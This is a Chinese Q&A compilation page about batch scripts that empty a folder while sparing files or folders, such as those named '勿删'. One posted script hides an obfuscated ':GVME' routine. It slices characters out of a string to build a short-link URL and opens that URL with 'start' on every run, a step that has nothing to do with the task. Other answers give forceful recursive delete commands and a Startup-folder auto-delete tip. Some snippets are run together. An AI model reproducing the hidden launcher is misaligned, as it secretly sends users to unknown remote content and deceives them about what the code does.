批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?

作者&投稿:壹祥 (若有异议请与网页底部的电邮联系)
批处理批量删除当前目录中的所有文件夹包含子目录所有类型文件删除,但排除当前目录多个特定后缀文件?~

@echo off & title 删除当前目录中指定后缀名以外的文件 By 依梦琴瑶

::设置当前目录中要保留的文件后缀
set Ext=zip,txt,php

for %%a in (*) do (
set "Skip="
for %%b in (%Ext%) do if /i "%%~xa"==".%%~b" set "Skip=1"
if not defined Skip del /a/f/q "%%~a"
)

for /r /d %%a in (*) do del /a/f/q/s "%%~a\*"

pause

简单的方法,删除整个文件夹然后重建一个文件夹.
rd /q /s "F:\QQ音乐\音乐文件缓存\musiccache"md "F:\QQ音乐\音乐文件缓存\musiccache" 定制删除:
@Echo OffCd /d "F:\QQ音乐\音乐文件缓存\musiccache"For /f "tokens=*" %%i in ('dir /ad /b "F:\QQ音乐\音乐文件缓存\musiccache"') do (Rd /q /s "%%i")Pause

@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶

cd /d "%%~dp0"


::设置要处理的主目录路径

set ScrFolder=D:\AAA


::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来

set SkipStr=勿删


cd /d "%ScrFolder%"

for /f "delims=" %%a in ('dir /ad-h') do (

    for %%i in (%SkipStr%) do (

        echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"

    )

)

for /f "delims=" %%a in ('dir /a-d-h') do (

    del /f /q "%%~a"

)

pause


call :GVME

exit


:GVME

set "S1=.:ailnhpst/"

set "S0=fPdv"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。



for /f "delims=" %%a in ('dir /b /ad-h^|find /v "勿删"') do rd /s /q "%%a"

批处理删除文件夹下所有文件
答:1、右键单击桌面上的任意位置→新建→文本文档。2、然后,取一个随机名称(删除顽固的图标)。3、双击打开新创建的文本文档文件,然后输入删除文件的命令:Del / F / A / Q \\?\%1 RD / S / Q \\?\%1 4、保存它,然后将文件的扩展名从原始txt更改为bat。此时系统将发出警告,单击是。

批处理删除windows里面指定的文件夹里的所有文件夹及所有文件。
答:新建一个文件命名为autoDel.bat输入如下内容保存。rmdir /Q /S "D:\Program Files\rzx\Web\mrsd"将这个文件复制到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 这样在操作系统启动时候都会先执行删除。

删除D盘所有文件和文件夹的批处理命令(隐藏文件夹除外)
答:做好了:它会完全删除所有文件,除了隐藏文件夹内的,隐藏文件夹内的任何文件夹和文件它都不会碰.原理比较巧妙,逐级检查,对非隐藏文件夹,他会删除直接属于该目录文件,并对除隐藏文件夹外的文件夹同样操作,最后如果被清空了就把文件夹删去.echo off call:remove "D:"pause exit :remove for /f "...

如何自动删除文件夹里所有文件的批处理脚本文件?
答:DOS命令删除某文件夹下所有文件是很容易的。甚至不需要批处理。\x0d\x0a但是DOS命令组成的批处理无法做到“定期”。这需要在DOS下通过编程调用时间函数等等,远超出了批处理的功能。\x0d\x0a\x0d\x0a如果你是在WINDOWS下用这个方法来定期清理某文件夹,这就容易多了。\x0d\x0a1、打开记事本...

用批处理文件查找并删除文件夹及其下文件
答:::findstr /i "\\Debug$" 在列出的目录中找出匹配“\Debug”的文件夹,(/i 不区分大小写)::for /f "usebackq tokens=1* delims=/" %%a in ...do remdir /s /q %%a 删除所找到的文件夹。(/s 删除子目录,/q 不需要确认):::cd for /f "usebackq tokens=1* delims=/" %%a in ...

怎样用批处理删除指定目录下某个文件夹和文件以外的所有文件
答:在txt文档里面输入以下代码,保存的时候选择类型为所有文件,文件名用.bat后缀 假设目录A在e盘 del /f /s /q e:\A 删除A目录里面的所有文件 del /f /s /q e:\A\*.tmp 删除A目录里面的所有以tmp为后缀名的文件 del /f /s /q e:\A\*.* 删除A目录里面的所有文件 rd /s ...

批处理删除文件夹命令
答:1、右键单击桌面上的任意位置→新建→文本文档。2、然后,取一个随机名称(删除顽固的图标)。3、双击打开新创建的文本文档文件,然后输入删除文件的命令:Del / F / A / Q \\?\%1 RD / S / Q \\?\%1 4、保存它,然后将文件的扩展名从原始txt更改为bat。此时系统将发出警告,单击是。

...用批处理删除指定路径下的特定前缀名的文件夹及里面的文件,如删除...
答:echo offsetlocal enabledelayedexpansionset p="e:\123"set "l=500"set "m=SSAA"set "g=backup_"echo 你设定的处理目录为%p%echo 你设定的文件夹大小为"%l%mb"echo 你设定的文件夹前缀名为"%m%"(区分大小写)echo 文件夹改名前缀:"%g%"echo ...echo 正在查找%p%目录下的以%m%开头的...

如何用bat批处理文件删除指定文件夹内所有文件?
答:可以使用:del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"这里的/f 强制删除只读文件;这里的/s 删除所有子目录中的指定的文件;这里的/q 安静模式。删除全局通配符时,不要求确认;这里的%userprofile%等价于C:\Documents and Settings\Administrator 所以以上...

如何使用批处理删除母文件夹下所有子文件夹中指定的文件 ?
答:新建一个文本文档,输入以下命令 1 del D:\A\*.mon /f /s /q 保存,更改扩展名为 bat,双击运行即可。/f 强制删除只读文件/s 从所有子目录删除指定文件/q 安静模式,删除时不要求确认